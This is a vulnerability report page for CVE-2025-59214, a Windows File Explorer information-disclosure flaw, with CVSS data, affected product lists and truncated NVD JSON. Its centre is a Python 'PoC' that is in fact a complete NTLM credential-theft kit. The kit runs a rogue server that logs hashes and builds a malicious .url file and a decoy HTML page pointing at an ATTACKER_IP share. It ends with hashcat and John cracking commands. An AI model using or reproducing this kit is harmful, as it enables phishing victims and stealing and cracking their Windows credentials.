Security Vulnerability Report
中文
CVE-2025-59214 CVSS 6.5 MEDIUM

CVE-2025-59214

Published: 2025-10-14 17:16:02
Last Modified: 2026-03-27 22:16:20

Description

Exposure of sensitive information to an unauthorized actor in Windows File Explorer allows an unauthorized attacker to perform spoofing over a network.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE
Windows 10 (所有受支持版本)
Windows 11 (所有受支持版本)
Windows Server 2016
Windows Server 2019
Windows Server 2022
Windows Server 2025

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59214 - Windows File Explorer NTLM Leak PoC # This PoC demonstrates how an attacker can leverage Windows File Explorer # to leak NTLM credentials via a malicious UNC path. import socket import threading import struct import sys from http.server import HTTPServer, BaseHTTPRequestHandler # ============================================================ # Step 1: Set up a rogue SMB server to capture NTLM authentication # ============================================================ class NTLMLeakHandler(BaseHTTPRequestHandler): """Simple HTTP server to capture NTLM hashes via WebDAV/Web requests""" def do_GET(self): print(f"[*] Received GET request from: {self.client_address[0]}") print(f"[*] Headers: {self.headers}") # Capture Authorization header which contains NTLM hash auth = self.headers.get('Authorization') if auth and 'NTLM' in auth: print(f"[+] NTLM Hash captured: {auth}") # Save the hash to a file for offline cracking with open('captured_ntlm.txt', 'a') as f: f.write(f"{self.client_address[0]}:{auth}\n") self.send_response(200) self.end_headers() self.wfile.write(b"<html><body>Exploit content</body></html>") def log_message(self, format, *args): pass # Suppress default logging def start_http_server(): """Start rogue HTTP server on port 80""" server = HTTPServer(('0.0.0.0', 80), NTLMLeakHandler) print("[*] Rogue HTTP server started on port 80") server.serve_forever() # ============================================================ # Step 2: Create malicious URL/file that triggers NTLM leak # ============================================================ def create_malicious_shortcut(): """Generate a malicious .url file that triggers NTLM auth""" attacker_ip = "ATTACKER_IP" # Replace with attacker's IP malicious_url = f"\\\\{attacker_ip}\\share\\file.txt" url_content = f"""[InternetShortcut] URL=file://{malicious_url} """ with open('malicious.url', 'w') as f: f.write(url_content) print(f"[+] Created malicious URL file: malicious.url") print(f"[+] When victim opens this in File Explorer, NTLM hash will be leaked") def create_malicious_html(): """Generate a malicious HTML page that triggers NTLM auth""" attacker_ip = "ATTACKER_IP" html_content = f"""<!DOCTYPE html> <html> <head><title>Important Document</title></head> <body> <a href="file://\\\\{attacker_ip}\\share\\document.pdf"> Click here to view the document </a> <img src="file://\\\\{attacker_ip}\\share\\image.png" style="display:none"> </body> </html> """ with open('malicious.html', 'w') as f: f.write(html_content) print(f"[+] Created malicious HTML page: malicious.html") # ============================================================ # Step 3: Crack the NTLM hash using hashcat # ============================================================ def crack_ntlm_hash(): """Instructions for cracking the captured NTLM hash""" print("\n[*] To crack the captured NTLM hash, use hashcat:") print(" hashcat -m 5600 captured_ntlm.txt /usr/share/wordlists/rockyou.txt") print("\n[*] Or use John the Ripper:") print(" john --format=netntlmv2 captured_ntlm.txt") # ============================================================ # Main execution # ============================================================ if __name__ == "__main__": print("=" * 60) print("CVE-2025-59214 - Windows File Explorer NTLM Leak PoC") print("=" * 60) # Create malicious files create_malicious_shortcut() create_malicious_html() # Start rogue server in background server_thread = threading.Thread(target=start_http_server, daemon=True) server_thread.start() print("\n[*] Waiting for victim to trigger the NTLM leak...") print("[*] Send malicious.url or malicious.html to the victim") print("[*] Check captured_ntlm.txt for stolen credentials") try: while True: pass except KeyboardInterrupt: print("\n[*] Exiting...") crack_ntlm_hash()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59214", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:02.020", "lastModified": "2026-03-27T22:16:19.897", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposure of sensitive information to an unauthorized actor in Windows File Explorer allows an unauthorized attacker to perform spoofing over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "030F3214-D6AF-40A9-9FC9-523AC9870581"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "4932CB20-D134-4EDF-8F21-F9D0AF80BFEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "D8145D41-BFB2-47A6-B5E5-1A038A27C1C1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "3EE0CDB1-CBF3-45F2-8F0B-96A9D0757B42"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "E216CD5B-8885-4E17-8718-97E88A724A44"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "36E44227-0320-43B1-A0D9-EB28B25CDB4D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6456", "matchCriteriaId": "1485A427-10FF-4C39-9911-4C6F1820BE7F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6456", "matchCriteriaId": "26CAACAA-3FE8-4740-8CF2-6BF3D069C47F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "6F387FA2-66C8-4B70-A537-65806271F16A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.22631.6060", "matchCriteriaId": "4AF873E4-B2FE-4504-BFF0-FC71121FC9A4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x64:*", "matchCriteriaId": "2127D10C-B6F3-4C1D-B9AA-5D78513CC996"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x86:*", "matchCriteriaId": "AB425562-C0A0-452E-AABE-F70522F15E1A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "matchCriteriaId": "AF07A81D-12E5-4B1D-BFF9-C8D08C32FF4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.14393.8519", "matchCriteriaId": "860ADFF9-62D0-425B-9310-99ACFC92EB12"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o ... (truncated)